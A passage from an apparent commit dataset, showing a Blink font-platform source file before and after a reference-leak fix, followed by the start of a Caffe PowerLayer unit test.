EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/platform\/graphics\/FontPlatformData.h\"\n\n#include \"RuntimeEnabledFeatures.h\"\n#include \"SkPaint.h\"\n#include \"SkTypeface.h\"\n#include \"SkTypeface_win.h\"\n#include \"core\/platform\/graphics\/FontCache.h\"\n#include \"core\/platform\/graphics\/GraphicsContext.h\"\n#include \"core\/platform\/graphics\/skia\/SkiaFontWin.h\"\n#include \"platform\/LayoutTestSupport.h\"\n#include \"platform\/SharedBuffer.h\"\n#include \"platform\/win\/HWndDC.h\"\n#include \"public\/platform\/Platform.h\"\n#include \"public\/platform\/win\/WebSandboxSupport.h\"\n#include \"wtf\/PassOwnPtr.h\"\n#include \"wtf\/StdLibExtras.h\"\n#include <mlang.h>\n#include <objidl.h>\n#include <windows.h>\n\nnamespace WebCore {\n\nvoid FontPlatformData::setupPaint(SkPaint* paint, GraphicsContext* context) const\n{\n const float ts = m_textSize >= 0 ? m_textSize : 12;\n paint->setTextSize(SkFloatToScalar(m_textSize));\n paint->setTypeface(typeface());\n paint->setFakeBoldText(m_fakeBold);\n paint->setTextSkewX(m_fakeItalic ? -SK_Scalar1 \/ 4 : 0);\n if (RuntimeEnabledFeatures::subpixelFontScalingEnabled())\n paint->setSubpixelText(true);\n\n \/\/ Only set painting flags when we're actually painting.\n if (context) {\n int textFlags = paintTextFlags();\n if (!context->couldUseLCDRenderedText()) {\n textFlags &= ~SkPaint::kLCDRenderText_Flag;\n \/\/ If we *just* clear our request for LCD, then GDI seems to\n \/\/ sometimes give us AA text, and sometimes give us BW text. Since the\n \/\/ original intent was LCD, we want to force AA (rather than BW), so we\n \/\/ add a special bit to tell Skia to do its best to avoid the BW: by\n \/\/ drawing LCD offscreen and downsampling that to AA.\n textFlags |= SkPaint::kGenA8FromLCD_Flag;\n }\n\n static const uint32_t textFlagsMask = SkPaint::kAntiAlias_Flag |\n SkPaint::kLCDRenderText_Flag |\n SkPaint::kGenA8FromLCD_Flag;\n\n SkASSERT(!(textFlags & ~textFlagsMask));\n uint32_t flags = paint->getFlags();\n flags &= ~textFlagsMask;\n flags |= textFlags;\n paint->setFlags(flags);\n }\n}\n\n\/\/ Lookup the current system settings for font smoothing.\n\/\/ We cache these values for performance, but if the browser has a way to be\n\/\/ notified when these change, we could re-query them at that time.\nstatic uint32_t getDefaultGDITextFlags()\n{\n static bool gInited;\n static uint32_t gFlags;\n if (!gInited) {\n BOOL enabled;\n gFlags = 0;\n if (SystemParametersInfo(SPI_GETFONTSMOOTHING, 0, &enabled, 0) && enabled) {\n gFlags |= SkPaint::kAntiAlias_Flag;\n\n UINT smoothType;\n if (SystemParametersInfo(SPI_GETFONTSMOOTHINGTYPE, 0, &smoothType, 0)) {\n if (FE_FONTSMOOTHINGCLEARTYPE == smoothType)\n gFlags |= SkPaint::kLCDRenderText_Flag;\n }\n }\n gInited = true;\n }\n return gFlags;\n}\n\nstatic bool isWebFont(const LOGFONT& lf)\n{\n \/\/ web-fonts have artifical names constructed to always be\n \/\/ 1. 24 characters, followed by a '\\0'\n \/\/ 2. the last two characters are '=='\n return '=' == lf.lfFaceName[22] && '=' == lf.lfFaceName[23] && '\\0' == lf.lfFaceName[24];\n}\n\nstatic int computePaintTextFlags(const LOGFONT& lf)\n{\n int textFlags = 0;\n switch (lf.lfQuality) {\n case NONANTIALIASED_QUALITY:\n textFlags = 0;\n break;\n case ANTIALIASED_QUALITY:\n textFlags = SkPaint::kAntiAlias_Flag;\n break;\n case CLEARTYPE_QUALITY:\n textFlags = (SkPaint::kAntiAlias_Flag | SkPaint::kLCDRenderText_Flag);\n break;\n default:\n textFlags = getDefaultGDITextFlags();\n break;\n }\n\n \/\/ only allow features that SystemParametersInfo allows\n textFlags &= getDefaultGDITextFlags();\n\n \/*\n * FontPlatformData(...) will read our logfont, and try to honor the the lfQuality\n * setting (computing the corresponding SkPaint flags for AA and LCD). However, it\n * will limit the quality based on its query of SPI_GETFONTSMOOTHING. This could mean\n * we end up drawing the text in BW, even though our lfQuality requested antialiasing.\n *\n * Many web-fonts are so poorly hinted that they are terrible to read when drawn in BW.\n * In these cases, we have decided to FORCE these fonts to be drawn with at least grayscale AA,\n * even when the System (getDefaultGDITextFlags) tells us to draw only in BW.\n *\/\n if (isWebFont(lf) && !isRunningLayoutTest())\n textFlags |= SkPaint::kAntiAlias_Flag;\n return textFlags;\n}\n\nPassRefPtr<SkTypeface> CreateTypefaceFromHFont(HFONT hfont, int* size, int* paintTextFlags)\n{\n LOGFONT info;\n GetObject(hfont, sizeof(info), &info);\n if (size) {\n int height = info.lfHeight;\n if (height < 0)\n height = -height;\n *size = height;\n }\n if (paintTextFlags)\n *paintTextFlags = computePaintTextFlags(info);\n return adoptRef(SkCreateTypefaceFromLOGFONT(info));\n}\n\nFontPlatformData::FontPlatformData(WTF::HashTableDeletedValueType)\n : m_font(0)\n , m_textSize(-1)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(SkTypeface::RefDefault())\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(true)\n{\n}\n\nFontPlatformData::FontPlatformData()\n : m_font(0)\n , m_textSize(0)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(SkTypeface::RefDefault())\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(false)\n{\n}\n\n#if ENABLE(GDI_FONTS_ON_WINDOWS)\nFontPlatformData::FontPlatformData(HFONT font, float size, FontOrientation orientation)\n : m_font(RefCountedHFONT::create(font))\n , m_textSize(size)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(orientation)\n , m_scriptCache(0)\n , m_typeface(CreateTypefaceFromHFont(font, 0, &m_paintTextFlags))\n , m_isHashTableDeletedValue(false)\n{\n}\n#endif\n\n\/\/ FIXME: this constructor is needed for SVG fonts but doesn't seem to do much\nFontPlatformData::FontPlatformData(float size, bool bold, bool oblique)\n : m_font(0)\n , m_textSize(size)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(SkTypeface::RefDefault())\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(const FontPlatformData& data)\n : m_font(data.m_font)\n , m_textSize(data.m_textSize)\n , m_fakeBold(data.m_fakeBold)\n , m_fakeItalic(data.m_fakeItalic)\n , m_orientation(data.m_orientation)\n , m_scriptCache(0)\n , m_typeface(data.m_typeface)\n , m_paintTextFlags(data.m_paintTextFlags)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(const FontPlatformData& data, float textSize)\n : m_font(data.m_font)\n , m_textSize(textSize)\n , m_fakeBold(data.m_fakeBold)\n , m_fakeItalic(data.m_fakeItalic)\n , m_orientation(data.m_orientation)\n , m_scriptCache(0)\n , m_typeface(data.m_typeface)\n , m_paintTextFlags(data.m_paintTextFlags)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(PassRefPtr<SkTypeface> tf, const char* family, float textSize, bool fakeBold, bool fakeItalic, FontOrientation orientation)\n : m_font(0)\n , m_textSize(textSize)\n , m_fakeBold(fakeBold)\n , m_fakeItalic(fakeItalic)\n , m_orientation(orientation)\n , m_scriptCache(0)\n , m_typeface(tf)\n , m_isHashTableDeletedValue(false)\n{\n \/\/ FIXME: This can be removed together with m_font once the last few\n \/\/ uses of hfont() has been eliminated.\n LOGFONT logFont;\n SkLOGFONTFromTypeface(m_typeface.get(), &logFont);\n logFont.lfHeight = -textSize;\n HFONT hFont = CreateFontIndirect(&logFont);\n if (hFont)\n m_font = RefCountedHFONT::create(hFont);\n m_paintTextFlags = computePaintTextFlags(logFont);\n}\n\nFontPlatformData& FontPlatformData::operator=(const FontPlatformData& data)\n{\n if (this != &data) {\n m_font = data.m_font;\n m_textSize = data.m_textSize;\n m_fakeBold = data.m_fakeBold;\n m_fakeItalic = data.m_fakeItalic;\n m_orientation = data.m_orientation;\n m_typeface = data.m_typeface;\n m_paintTextFlags = data.m_paintTextFlags;\n\n \/\/ The following fields will get re-computed if necessary.\n ScriptFreeCache(&m_scriptCache);\n m_scriptCache = 0;\n m_scriptFontProperties.clear();\n }\n return *this;\n}\n\nFontPlatformData::~FontPlatformData()\n{\n ScriptFreeCache(&m_scriptCache);\n m_scriptCache = 0;\n}\n\nString FontPlatformData::fontFamilyName() const\n{\n HWndDC dc(0);\n HGDIOBJ oldFont = static_cast<HFONT>(SelectObject(dc, hfont()));\n WCHAR name[LF_FACESIZE];\n unsigned resultLength = GetTextFace(dc, LF_FACESIZE, name);\n if (resultLength > 0)\n resultLength--; \/\/ ignore the null terminator\n SelectObject(dc, oldFont);\n return String(name, resultLength);\n}\n\nbool FontPlatformData::isFixedPitch() const\n{\n#if ENABLE(GDI_FONTS_ON_WINDOWS)\n \/\/ TEXTMETRICS have this. Set m_treatAsFixedPitch based off that.\n HWndDC dc(0);\n HGDIOBJ oldFont = SelectObject(dc, hfont());\n\n \/\/ Yes, this looks backwards, but the fixed pitch bit is actually set if the font\n \/\/ is *not* fixed pitch. Unbelievable but true.\n TEXTMETRIC textMetric = { 0 };\n if (!GetTextMetrics(dc, &textMetric)) {\n if (ensureFontLoaded(hfont())) {\n \/\/ Retry GetTextMetrics.\n \/\/ FIXME: Handle gracefully the error if this call also fails.\n \/\/ See http:\/\/crbug.com\/6401.\n if (!GetTextMetrics(dc, &textMetric))\n LOG_ERROR(\"Unable to get the text metrics after second attempt\");\n }\n }\n\n bool treatAsFixedPitch = !(textMetric.tmPitchAndFamily & TMPF_FIXED_PITCH);\n\n SelectObject(dc, oldFont);\n\n return treatAsFixedPitch;\n#else\n return typeface() && typeface()->isFixedPitch();\n#endif\n}\n\nFontPlatformData::RefCountedHFONT::~RefCountedHFONT()\n{\n DeleteObject(m_hfont);\n}\n\nSCRIPT_FONTPROPERTIES* FontPlatformData::scriptFontProperties() const\n{\n if (!m_scriptFontProperties) {\n m_scriptFontProperties = adoptPtr(new SCRIPT_FONTPROPERTIES);\n memset(m_scriptFontProperties.get(), 0, sizeof(SCRIPT_FONTPROPERTIES));\n m_scriptFontProperties->cBytes = sizeof(SCRIPT_FONTPROPERTIES);\n HRESULT result = ScriptGetFontProperties(0, scriptCache(), m_scriptFontProperties.get());\n if (result == E_PENDING) {\n HWndDC dc(0);\n HGDIOBJ oldFont = SelectObject(dc, hfont());\n HRESULT hr = ScriptGetFontProperties(dc, scriptCache(), m_scriptFontProperties.get());\n if (S_OK != hr) {\n if (FontPlatformData::ensureFontLoaded(hfont())) {\n \/\/ FIXME: Handle gracefully the error if this call also fails.\n hr = ScriptGetFontProperties(dc, scriptCache(), m_scriptFontProperties.get());\n if (S_OK != hr) {\n LOG_ERROR(\"Unable to get the font properties after second attempt\");\n }\n }\n }\n\n SelectObject(dc, oldFont);\n }\n }\n return m_scriptFontProperties.get();\n}\n\n#ifndef NDEBUG\nString FontPlatformData::description() const\n{\n return String();\n}\n#endif\n\nbool FontPlatformData::ensureFontLoaded(HFONT font)\n{\n WebKit::WebSandboxSupport* sandboxSupport = WebKit::Platform::current()->sandboxSupport();\n \/\/ if there is no sandbox, then we can assume the font\n \/\/ was able to be loaded successfully already\n return sandboxSupport ? sandboxSupport->ensureFontLoaded(font) : true;\n}\n\n}\n<commit_msg>Fixing leaked references in FontPlatformData<commit_after>\/*\n * Copyright (C) 2006, 2007 Apple Computer, Inc.\n * Copyright (c) 2006, 2007, 2008, 2009, 2012 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/platform\/graphics\/FontPlatformData.h\"\n\n#include \"RuntimeEnabledFeatures.h\"\n#include \"SkPaint.h\"\n#include \"SkTypeface.h\"\n#include \"SkTypeface_win.h\"\n#include \"core\/platform\/graphics\/FontCache.h\"\n#include \"core\/platform\/graphics\/GraphicsContext.h\"\n#include \"core\/platform\/graphics\/skia\/SkiaFontWin.h\"\n#include \"platform\/LayoutTestSupport.h\"\n#include \"platform\/SharedBuffer.h\"\n#include \"platform\/win\/HWndDC.h\"\n#include \"public\/platform\/Platform.h\"\n#include \"public\/platform\/win\/WebSandboxSupport.h\"\n#include \"wtf\/PassOwnPtr.h\"\n#include \"wtf\/StdLibExtras.h\"\n#include <mlang.h>\n#include <objidl.h>\n#include <windows.h>\n\nnamespace WebCore {\n\nvoid FontPlatformData::setupPaint(SkPaint* paint, GraphicsContext* context) const\n{\n const float ts = m_textSize >= 0 ? m_textSize : 12;\n paint->setTextSize(SkFloatToScalar(m_textSize));\n paint->setTypeface(typeface());\n paint->setFakeBoldText(m_fakeBold);\n paint->setTextSkewX(m_fakeItalic ? -SK_Scalar1 \/ 4 : 0);\n if (RuntimeEnabledFeatures::subpixelFontScalingEnabled())\n paint->setSubpixelText(true);\n\n \/\/ Only set painting flags when we're actually painting.\n if (context) {\n int textFlags = paintTextFlags();\n if (!context->couldUseLCDRenderedText()) {\n textFlags &= ~SkPaint::kLCDRenderText_Flag;\n \/\/ If we *just* clear our request for LCD, then GDI seems to\n \/\/ sometimes give us AA text, and sometimes give us BW text. Since the\n \/\/ original intent was LCD, we want to force AA (rather than BW), so we\n \/\/ add a special bit to tell Skia to do its best to avoid the BW: by\n \/\/ drawing LCD offscreen and downsampling that to AA.\n textFlags |= SkPaint::kGenA8FromLCD_Flag;\n }\n\n static const uint32_t textFlagsMask = SkPaint::kAntiAlias_Flag |\n SkPaint::kLCDRenderText_Flag |\n SkPaint::kGenA8FromLCD_Flag;\n\n SkASSERT(!(textFlags & ~textFlagsMask));\n uint32_t flags = paint->getFlags();\n flags &= ~textFlagsMask;\n flags |= textFlags;\n paint->setFlags(flags);\n }\n}\n\n\/\/ Lookup the current system settings for font smoothing.\n\/\/ We cache these values for performance, but if the browser has a way to be\n\/\/ notified when these change, we could re-query them at that time.\nstatic uint32_t getDefaultGDITextFlags()\n{\n static bool gInited;\n static uint32_t gFlags;\n if (!gInited) {\n BOOL enabled;\n gFlags = 0;\n if (SystemParametersInfo(SPI_GETFONTSMOOTHING, 0, &enabled, 0) && enabled) {\n gFlags |= SkPaint::kAntiAlias_Flag;\n\n UINT smoothType;\n if (SystemParametersInfo(SPI_GETFONTSMOOTHINGTYPE, 0, &smoothType, 0)) {\n if (FE_FONTSMOOTHINGCLEARTYPE == smoothType)\n gFlags |= SkPaint::kLCDRenderText_Flag;\n }\n }\n gInited = true;\n }\n return gFlags;\n}\n\nstatic bool isWebFont(const LOGFONT& lf)\n{\n \/\/ web-fonts have artifical names constructed to always be\n \/\/ 1. 24 characters, followed by a '\\0'\n \/\/ 2. the last two characters are '=='\n return '=' == lf.lfFaceName[22] && '=' == lf.lfFaceName[23] && '\\0' == lf.lfFaceName[24];\n}\n\nstatic int computePaintTextFlags(const LOGFONT& lf)\n{\n int textFlags = 0;\n switch (lf.lfQuality) {\n case NONANTIALIASED_QUALITY:\n textFlags = 0;\n break;\n case ANTIALIASED_QUALITY:\n textFlags = SkPaint::kAntiAlias_Flag;\n break;\n case CLEARTYPE_QUALITY:\n textFlags = (SkPaint::kAntiAlias_Flag | SkPaint::kLCDRenderText_Flag);\n break;\n default:\n textFlags = getDefaultGDITextFlags();\n break;\n }\n\n \/\/ only allow features that SystemParametersInfo allows\n textFlags &= getDefaultGDITextFlags();\n\n \/*\n * FontPlatformData(...) will read our logfont, and try to honor the the lfQuality\n * setting (computing the corresponding SkPaint flags for AA and LCD). However, it\n * will limit the quality based on its query of SPI_GETFONTSMOOTHING. This could mean\n * we end up drawing the text in BW, even though our lfQuality requested antialiasing.\n *\n * Many web-fonts are so poorly hinted that they are terrible to read when drawn in BW.\n * In these cases, we have decided to FORCE these fonts to be drawn with at least grayscale AA,\n * even when the System (getDefaultGDITextFlags) tells us to draw only in BW.\n *\/\n if (isWebFont(lf) && !isRunningLayoutTest())\n textFlags |= SkPaint::kAntiAlias_Flag;\n return textFlags;\n}\n\nPassRefPtr<SkTypeface> CreateTypefaceFromHFont(HFONT hfont, int* size, int* paintTextFlags)\n{\n LOGFONT info;\n GetObject(hfont, sizeof(info), &info);\n if (size) {\n int height = info.lfHeight;\n if (height < 0)\n height = -height;\n *size = height;\n }\n if (paintTextFlags)\n *paintTextFlags = computePaintTextFlags(info);\n return adoptRef(SkCreateTypefaceFromLOGFONT(info));\n}\n\nFontPlatformData::FontPlatformData(WTF::HashTableDeletedValueType)\n : m_font(0)\n , m_textSize(-1)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(adoptRef(SkTypeface::RefDefault()))\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(true)\n{\n}\n\nFontPlatformData::FontPlatformData()\n : m_font(0)\n , m_textSize(0)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(adoptRef(SkTypeface::RefDefault()))\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(false)\n{\n}\n\n#if ENABLE(GDI_FONTS_ON_WINDOWS)\nFontPlatformData::FontPlatformData(HFONT font, float size, FontOrientation orientation)\n : m_font(RefCountedHFONT::create(font))\n , m_textSize(size)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(orientation)\n , m_scriptCache(0)\n , m_typeface(CreateTypefaceFromHFont(font, 0, &m_paintTextFlags))\n , m_isHashTableDeletedValue(false)\n{\n}\n#endif\n\n\/\/ FIXME: this constructor is needed for SVG fonts but doesn't seem to do much\nFontPlatformData::FontPlatformData(float size, bool bold, bool oblique)\n : m_font(0)\n , m_textSize(size)\n , m_fakeBold(false)\n , m_fakeItalic(false)\n , m_orientation(Horizontal)\n , m_scriptCache(0)\n , m_typeface(adoptRef(SkTypeface::RefDefault()))\n , m_paintTextFlags(0)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(const FontPlatformData& data)\n : m_font(data.m_font)\n , m_textSize(data.m_textSize)\n , m_fakeBold(data.m_fakeBold)\n , m_fakeItalic(data.m_fakeItalic)\n , m_orientation(data.m_orientation)\n , m_scriptCache(0)\n , m_typeface(data.m_typeface)\n , m_paintTextFlags(data.m_paintTextFlags)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(const FontPlatformData& data, float textSize)\n : m_font(data.m_font)\n , m_textSize(textSize)\n , m_fakeBold(data.m_fakeBold)\n , m_fakeItalic(data.m_fakeItalic)\n , m_orientation(data.m_orientation)\n , m_scriptCache(0)\n , m_typeface(data.m_typeface)\n , m_paintTextFlags(data.m_paintTextFlags)\n , m_isHashTableDeletedValue(false)\n{\n}\n\nFontPlatformData::FontPlatformData(PassRefPtr<SkTypeface> tf, const char* family, float textSize, bool fakeBold, bool fakeItalic, FontOrientation orientation)\n : m_font(0)\n , m_textSize(textSize)\n , m_fakeBold(fakeBold)\n , m_fakeItalic(fakeItalic)\n , m_orientation(orientation)\n , m_scriptCache(0)\n , m_typeface(tf)\n , m_isHashTableDeletedValue(false)\n{\n \/\/ FIXME: This can be removed together with m_font once the last few\n \/\/ uses of hfont() has been eliminated.\n LOGFONT logFont;\n SkLOGFONTFromTypeface(m_typeface.get(), &logFont);\n logFont.lfHeight = -textSize;\n HFONT hFont = CreateFontIndirect(&logFont);\n if (hFont)\n m_font = RefCountedHFONT::create(hFont);\n m_paintTextFlags = computePaintTextFlags(logFont);\n}\n\nFontPlatformData& FontPlatformData::operator=(const FontPlatformData& data)\n{\n if (this != &data) {\n m_font = data.m_font;\n m_textSize = data.m_textSize;\n m_fakeBold = data.m_fakeBold;\n m_fakeItalic = data.m_fakeItalic;\n m_orientation = data.m_orientation;\n m_typeface = data.m_typeface;\n m_paintTextFlags = data.m_paintTextFlags;\n\n \/\/ The following fields will get re-computed if necessary.\n ScriptFreeCache(&m_scriptCache);\n m_scriptCache = 0;\n m_scriptFontProperties.clear();\n }\n return *this;\n}\n\nFontPlatformData::~FontPlatformData()\n{\n ScriptFreeCache(&m_scriptCache);\n m_scriptCache = 0;\n}\n\nString FontPlatformData::fontFamilyName() const\n{\n HWndDC dc(0);\n HGDIOBJ oldFont = static_cast<HFONT>(SelectObject(dc, hfont()));\n WCHAR name[LF_FACESIZE];\n unsigned resultLength = GetTextFace(dc, LF_FACESIZE, name);\n if (resultLength > 0)\n resultLength--; \/\/ ignore the null terminator\n SelectObject(dc, oldFont);\n return String(name, resultLength);\n}\n\nbool FontPlatformData::isFixedPitch() const\n{\n#if ENABLE(GDI_FONTS_ON_WINDOWS)\n \/\/ TEXTMETRICS have this. Set m_treatAsFixedPitch based off that.\n HWndDC dc(0);\n HGDIOBJ oldFont = SelectObject(dc, hfont());\n\n \/\/ Yes, this looks backwards, but the fixed pitch bit is actually set if the font\n \/\/ is *not* fixed pitch. Unbelievable but true.\n TEXTMETRIC textMetric = { 0 };\n if (!GetTextMetrics(dc, &textMetric)) {\n if (ensureFontLoaded(hfont())) {\n \/\/ Retry GetTextMetrics.\n \/\/ FIXME: Handle gracefully the error if this call also fails.\n \/\/ See http:\/\/crbug.com\/6401.\n if (!GetTextMetrics(dc, &textMetric))\n LOG_ERROR(\"Unable to get the text metrics after second attempt\");\n }\n }\n\n bool treatAsFixedPitch = !(textMetric.tmPitchAndFamily & TMPF_FIXED_PITCH);\n\n SelectObject(dc, oldFont);\n\n return treatAsFixedPitch;\n#else\n return typeface() && typeface()->isFixedPitch();\n#endif\n}\n\nFontPlatformData::RefCountedHFONT::~RefCountedHFONT()\n{\n DeleteObject(m_hfont);\n}\n\nSCRIPT_FONTPROPERTIES* FontPlatformData::scriptFontProperties() const\n{\n if (!m_scriptFontProperties) {\n m_scriptFontProperties = adoptPtr(new SCRIPT_FONTPROPERTIES);\n memset(m_scriptFontProperties.get(), 0, sizeof(SCRIPT_FONTPROPERTIES));\n m_scriptFontProperties->cBytes = sizeof(SCRIPT_FONTPROPERTIES);\n HRESULT result = ScriptGetFontProperties(0, scriptCache(), m_scriptFontProperties.get());\n if (result == E_PENDING) {\n HWndDC dc(0);\n HGDIOBJ oldFont = SelectObject(dc, hfont());\n HRESULT hr = ScriptGetFontProperties(dc, scriptCache(), m_scriptFontProperties.get());\n if (S_OK != hr) {\n if (FontPlatformData::ensureFontLoaded(hfont())) {\n \/\/ FIXME: Handle gracefully the error if this call also fails.\n hr = ScriptGetFontProperties(dc, scriptCache(), m_scriptFontProperties.get());\n if (S_OK != hr) {\n LOG_ERROR(\"Unable to get the font properties after second attempt\");\n }\n }\n }\n\n SelectObject(dc, oldFont);\n }\n }\n return m_scriptFontProperties.get();\n}\n\n#ifndef NDEBUG\nString FontPlatformData::description() const\n{\n return String();\n}\n#endif\n\nbool FontPlatformData::ensureFontLoaded(HFONT font)\n{\n WebKit::WebSandboxSupport* sandboxSupport = WebKit::Platform::current()->sandboxSupport();\n \/\/ if there is no sandbox, then we can assume the font\n \/\/ was able to be loaded successfully already\n return sandboxSupport ? sandboxSupport->ensureFontLoaded(font) : true;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 BVLC and contributors.\n\n#include <algorithm>\n#include <vector>\n\n#include \"cuda_runtime.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"caffe\/blob.hpp\"\n#include \"caffe\/common.hpp\"\n#include \"caffe\/filler.hpp\"\n#include \"caffe\/vision_layers.hpp\"\n#include \"caffe\/test\/test_gradient_check_util.hpp\"\n\n#include \"caffe\/test\/test_caffe_main.hpp\"\n\nnamespace caffe {\n\nextern cudaDeviceProp CAFFE_TEST_CUDA_PROP;\n\ntemplate <typename Dtype>\nclass PowerLayerTest : public ::testing::Test {\n protected:\n PowerLayerTest()\n : blob_bottom_(new Blob<Dtype>(2, 3, 4, 5)),\n blob_top_(new Blob<Dtype>()) {\n \/\/ fill the values\n FillerParameter filler_param;\n GaussianFiller<Dtype> filler(filler_param);\n filler.Fill(this->blob_bottom_);\n blob_bottom_vec_.push_back(blob_bottom_);\n blob_top_vec_.push_back(blob_top_);\n }\n virtual ~PowerLayerTest() { delete blob_bottom_; delete blob_top_; }\n\n void TestForward(Dtype power, Dtype scale, Dtype shift) {\n LayerParameter layer_param;\n layer_param.mutable_power_param()->set_power(power);\n layer_param.mutable_power_param()->set_scale(scale);\n layer_param.mutable_power_param()->set_shift(shift);\n PowerLayer<Dtype> layer(layer_param);\n layer.SetUp(this->blob_bottom_vec_, &(this->blob_top_vec_));\n layer.Forward(this->blob_bottom_vec_, &(this->blob_top_vec_));\n \/\/ Now, check values\n const Dtype* bottom_data = this->blob_bottom_->cpu_data();\n const Dtype* top_data = this->blob_top_->cpu_data();\n const Dtype min_precision = 1e-5;\n for (int i = 0; i < this->blob_bottom_->count(); ++i) {\n Dtype expected_value = pow(shift + scale * bottom_data[i], power);\n if (power == Dtype(0) || power == Dtype(1) || power == Dtype(2)) {\n EXPECT_FALSE(isnan(top_data[i]));\n }\n if (isnan(expected_value)) {\n EXPECT_TRUE(isnan(top_data[i]));\n } else {\n Dtype precision = max(Dtype(abs(expected_value * 0.0001)),\n min_precision);\n EXPECT_NEAR(expected_value, top_data[i], precision);\n }\n }\n }\n\n void TestBackward(Dtype power, Dtype scale, Dtype shift) {\n LayerParameter layer_param;\n layer_param.mutable_power_param()->set_power(power);\n layer_param.mutable_power_param()->set_scale(scale);\n layer_param.mutable_power_param()->set_shift(shift);\n PowerLayer<Dtype> layer(layer_param);\n if (power != Dtype(0) && power != Dtype(1) && power != Dtype(2)) {\n \/\/ Avoid NaNs by forcing (shift + scale * x) >= 0\n Dtype* bottom_data = this->blob_bottom_->mutable_cpu_data();\n Dtype min_value = -shift \/ scale;\n for (int i = 0; i < this->blob_bottom_->count(); ++i) {\n if (bottom_data[i] < min_value) {\n bottom_data[i] = min_value + (min_value - bottom_data[i]);\n }\n }\n }\n GradientChecker<Dtype> checker(1e-2, 1e-2, 1701, 0., 0.01);\n checker.CheckGradientExhaustive(&layer, &(this->blob_bottom_vec_),\n &(this->blob_top_vec_));\n }\n\n Blob<Dtype>* const blob_bottom_;\n Blob<Dtype>* const blob_top_;\n vector<Blob<Dtype>*> blob_bottom_vec_;\n vector<Blob<Dtype>*> blob_top_vec_;\n};\n\ntypedef ::testing::Types<float, double> Dtypes;\nTYPED_TEST_CASE(PowerLayerTest, Dtypes);\n\nTYPED_TEST(PowerLayerTest, TestPowerCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerGradientShiftZeroCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.37;\n TypeParam scale = 0.83;\n TypeParam shift = 0.0;\n TestBackward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n TestForward(power, scale, shift);\n}\n\nTYPED_TEST(PowerLayerTest, TestPowerZeroGradientCPU) {\n Caffe::set_mode(Caffe::CPU);\n TypeParam power = 0.0;\n TypeParam scale = 0.83;\n TypeParam shift = -2.4;\n 